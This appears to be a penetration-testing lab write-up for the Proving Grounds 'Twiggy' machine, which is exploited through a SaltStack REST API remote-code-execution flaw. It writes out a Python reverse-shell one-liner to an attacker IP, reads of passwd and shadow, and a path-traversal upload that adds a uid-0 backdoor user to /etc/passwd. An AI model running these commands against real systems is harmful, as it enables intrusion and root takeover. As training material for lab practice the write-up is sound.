> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/warm-up/twiggy.md).

# Twiggy

Writeup for Twiggy from Offensive Security Proving Grounds (PG)

## Information Gathering

### Service Enumeration

`nmapAutomator.sh -H 192.168.134.62 -t full`

`nmapAutomator.sh -H 192.168.134.62 -t vulns`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad29lXd5pEjyZzBSRG%2F4591f23d66844cfa8e3dfe365c0c0863.png?alt=media\&token=d4314e91-dc43-40f3-9a79-39b7816ffed4)

### Port 80

Mezzanine is running.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad2Tweau1WS75GEsZr%2F9777714328414f029c1c70fb5902d558.png?alt=media\&token=7a14052d-624f-444e-a348-3c7c8b7317eb)

### Port 8000

The SaltStack Salt REST API is running.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad2ljp5q3UDoM9Oqrp%2F7ef843ff98d74ead9c22591945e47d6f.png?alt=media\&token=c3c74dee-d0ae-4767-b372-b53ce8e40d48)

## Exploitation

SaltStack < 3000.2, < 2019.2.4, 2017.\*, 2018.\* is vulnerable to an RCE vulnerability.

Exploit from: <https://www.exploit-db.com/exploits/48421>

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad2tnSmxlRKTFvcf50%2F586b49ee1e844709bb90a376b7f43e92.png?alt=media\&token=c3bc7ac7-0e1b-4a75-bc61-0f8fd94db054)

We can try to execute a reverse shell.

`python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.49.134",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'`

However, this does not work (presumably because of the firewall).

We can, however, read arbitrary files, including `passwd` and `shadow`.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad85ptIjSfNXEjwejA%2Fee4085800b784b38bf5014c53ef3fb21.png?alt=media\&token=f7e79c6f-c145-4642-85cc-eb5f2e4ce57e)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad88nR4C4u9d_RFyEu%2F59b5700fa986437db1c089123cf13f86.png?alt=media\&token=8b322d6c-1007-4ece-b8ce-0566b6a3543f)

We can also write arbitrary files. To add our own root user to `/etc/passwd`:

```bash
echo "root2:bWBoOyE1sFaiQ:0:0:root:/root:/bin/bash" >> passwd
```

Note that this hash corresponds to our custom password, `mypass`.

```bash
$ openssl passwd mypass                                                    
bWBoOyE1sFaiQ
```

Upload the modified file: `python3 48421.py --master 192.168.134.62 --upload-src passwd --upload-dest ../../../../../etc/passwd`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad8cMelAI3wA42-y2U%2F8461c72141664918a8f64d118b3028af.png?alt=media\&token=76392024-8b25-499f-8c51-aa1ab041175e)

Check that our user was correctly added:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad8iVgxoZ63q1UfCmZ%2F83e1acb549034264a3408e7cba2251e3.png?alt=media\&token=0c2d6eea-0871-414f-a176-f06f586c5b9e)

Now, using the `root:mypass` credentials, we can SSH into the server as root. This works because password authentication is enabled.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad8tuakeUdisiGsaU-%2F4994407277db4fe9a3fee4fb462816df.png?alt=media\&token=9a609250-81a8-49a4-953a-352a0680d076)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad9-YQJUQSbWzp9B2C%2F7c8646a82aac4f17bf9cba7da5de13b6.png?alt=media\&token=3990592e-0869-4ff5-82d2-334a009fe239)